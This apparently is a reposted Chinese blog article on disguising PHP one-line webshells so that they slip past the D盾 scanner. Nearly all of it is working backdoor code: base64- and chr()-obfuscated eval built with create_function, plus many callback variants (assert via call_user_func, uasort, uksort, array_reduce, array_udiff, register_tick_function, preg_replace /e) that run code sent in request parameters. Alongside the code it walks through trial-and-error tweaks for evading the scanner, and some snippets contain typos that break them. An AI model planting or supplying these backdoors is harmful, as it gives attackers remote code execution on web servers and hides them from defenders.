zoukankan      html  css  js  c++  java
  • 一句话木马简单变形

    木马变形的方式:

    1.字符串拼接(编码,base64,rot13,chr())

    base64编码案列:
    <?php
    $__C_C = "WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";
    $__P_P = "abcdefghijklmnopqrstuvwxyz";
    $__X_X = "123456789";
    $__O_O= $__X_X[5] . $__X_X_[3] . "_";   //64
    $__B_B = $__P_P{1} . $__P_P[0] . $__P_P[18] . $__P_P[4];  //base
    $__H_H = $__B_B . $__O_O . $__P_P[3].$__P_P[4] . $__P_P[2] . $__P_P[14] . $__P_P[3] . $__P_P[4];  //base64_decode encode
    $__E_E=$__P_P[4] . $__P_P[21] . $__P_P[O] . $__P_P[11];   //eval
    $__F_F=$__P_P[2] . $__P_P[17] . $__P_P[4] . $__P_P[0] . $__P_P[19] . $__P_P[4];   //create
    $__F_F=$__F_F . ’_’ . $__P_P[5] . $__P_P[20] . $__P_P[13] . $__P_P[2] . $__P_P[19] . $__P_P[8] . $__P_P[14] . $__P_P[13];   //create function
    $__D_D=$__F_F('$__S_S',$__E_E . '("$__S_S");');     //create_function("",'eval();')==eval()
    @$__D_D($__H_H($__H_H($__C_C)));    //eval('eval($_POST[x]);')
    ?>


    chr()案列:

    <?php
    $_uU=chr(99) . chr(104) . chr(114);
    //echo $_uU;
    
    $_cC=$_uU(101) . $_uU(118) . $_uU(97) . $_uU(108) . $_uU(40) . $_uU(36) . $_uU(95) . $_uU(80) . $_uU(79) . $_uU(83) . $_uU(84) . $_uU(91) . $_uU(49) . $_uU(93) . $_uU(41) . $_uU(59);
    //echo $ cC;
    
    $_fF=$_uU(99) . $_uU(114) . $_uU(101) . $_uU(97) . $_uU(116) . $_uU(101) . $_uU(95) . $_uU(102). $_uU(117) . $_uU(110) . $_uU(99) . $_uU(116) . $_uU(105) . $_uU(111) . $_uU(110);
    //echo $_fF;
    
    $_=$_fF("",$_cC);@$_();
    ?>


    2.create_function(参数,函数体代码) 创建匿名函数

    3.preg_replace(‘/*/e’,phpinfo(),$data)

    4.字符位运算(拼接)

    5.<script language="php">phpinfo();</script>

    6.不死马

    7.gzinflate解压

    8.不同位置传值


    参数回调法:

    回调函数:Callback (即call then back 被主函数调用运算后会返回主函数),是指通过函数参数传递到其它代码的,某一块可执行代码的引用。

    已被D盾查杀的函数:

    array_filter()
    array_walk()
    array_walk_recursive()
    array_map()
    registregister_shutdown_function();
    filter_var()
    filter_var_array()
    uasort()
    uksort()
    array_reduce() 可疑(级别2)
    array_walk()
    array_walk_recursive()


    最一般的绕狗、后门思路:

    call_user_func('assert', $_REQUEST['pass']);   //直接参数回调,将$_REQUEST['pass']传入的数据,传递给assert函数去执行。

    双参数回调后门:

    <?php
    $e = $_REQUEST['e'];
    $arr = array('test', $_REQUEST['pass']);
    uasort($arr, base64_decode($e));
    ?>


    e作为传参参数,使用base64加密过的assert函数,即YXNzZXJ0,pass作为密码。整个过程是将调用$e函数,执行$arr,也就是用assert进行代码执行


    衍生出来的方法有:

    1.换为uksort函数:

    <?php $e = $_REQUEST['e'];
    $arr = array('test' => 1, $_REQUEST['pass'] => 2); uksort($arr, $e);

    2.面向对象的方法:

    <?php
    // way 0 
    $arr = new ArrayObject(array('test', $_REQUEST['pass']));
    $arr->uasort('assert');
    // way 1 
    $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
    $arr->uksort('assert');
    ?>
    

    3.array_reduce

    <?php
    $e = $_REQUEST['e'];
    $arr = array(1);
    array_reduce($arr, $e, $_POST['pass']);
    ?>

    4.array_udiff

    <?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass']);
    $arr2 = array(1);
    array_udiff($arr, $arr2, $e);
    ?>

    变种array_udiff

    <?php
    function newsSearch($para0,$para1){
    	$evil=$para0;
    	$exec=$para1;
    	array_udiff($arr=array($evil),$arr1 = array(''),$exec);
    }
    $exec=base64_decode($_REQUEST['exec']);
    newsSearch($_POST['key'],$exec);
    ?>

    5.register_tick_function()

    <?php
    declare(ticks=1);
    register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);
    ?>

    6.变种call_user_func_array()

    尝试模仿正常函数调用,定义一个简单的function:

    <?php
    function newsSearch($para0){
    	$evil=$para0;
    	$exec=$_GET['id'];
    	call_user_func_array($exec,array($evil));
    }
    newsSearch($_POST['tid']);
    ?>

    使用D盾查杀。没过!!变量$exec被解析成了$GET["id"],但$evil没有被解析,猜测只要将$exec放在newSearch()函数外面用GET方法获取,就不会被D盾解析,编写新的shell:

    <?php
    function newsSearch($para0,$para1){
    	$evil=$para0;
    	call_user_func_array($para1,array($evil));
    }
    $exec=base64_decode($_GET['id']);
    newsSearch($_POST['tid'],$exec); ?>

    同样使用call_user_func函数,构造shell如下:

    <?php
    function newsSearch($para0,$para1){
    	$evil=$para0;
    	call_user_func_array($para1,array($evil));
    }
    $exec=base64_decode($_GET['id']);
    newsSearch($_POST['tid'],$exec); ?>


    三参数回调后门

    <?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'] => '|.*|e',);
    array_walk_recursive($arr, $e, '');
    ?>
    

    这段代码的最终效果是回调名字为$e的函数,$arr数组中的$_POST[pass](键)作为回调函数的第一个参数,'|.*|e'作为第二个参数。''作为第三个参数。

    最常见的preg_replace

    preg_replace('|.*|e', '你的命令', '');

    其他效果类似的函数:

    mb_ereg_replace
    preg_filter

    sqlite回调后门

    如果可以使用PDO的话,可以用sqlite的PDO来执行代码

    <?php
    $db = new PDO('sqlite::memory:');
    $st = $db->query("SELECT 'phpinfo()'");
    $re = $st->frtch
    ?>

    文章摘录于:https://forum.90sec.com/t/topic/55         https://www.freebuf.com/articles/web/194243.html

  • 相关阅读:
    创建一个对象,包含有多个成绩,每个属性是一个成绩,遍历对象中的属性,计算出总成绩。
    创建一个计算器的函数calc含有两个数字,调用函数的函数传递一个函数,分别是实现加减乘除
    JS中的对象
    python+jieba+tfidf算法 文本相似度
    ubuntu hadoop2.x 伪分布部署及集群搭建(完全分布式)
    ubuntu16.04 +Java8+ hadoop2.x单机安装
    python pandas库的一些使用总结
    scrapy 当当网书籍信息爬取存储MySQL
    pymysql 中总结出来的一些问题
    python3 requests 12306下单环节
  • 原文地址:https://www.cnblogs.com/sup3rman/p/12673512.html
Copyright © 2011-2022 走看看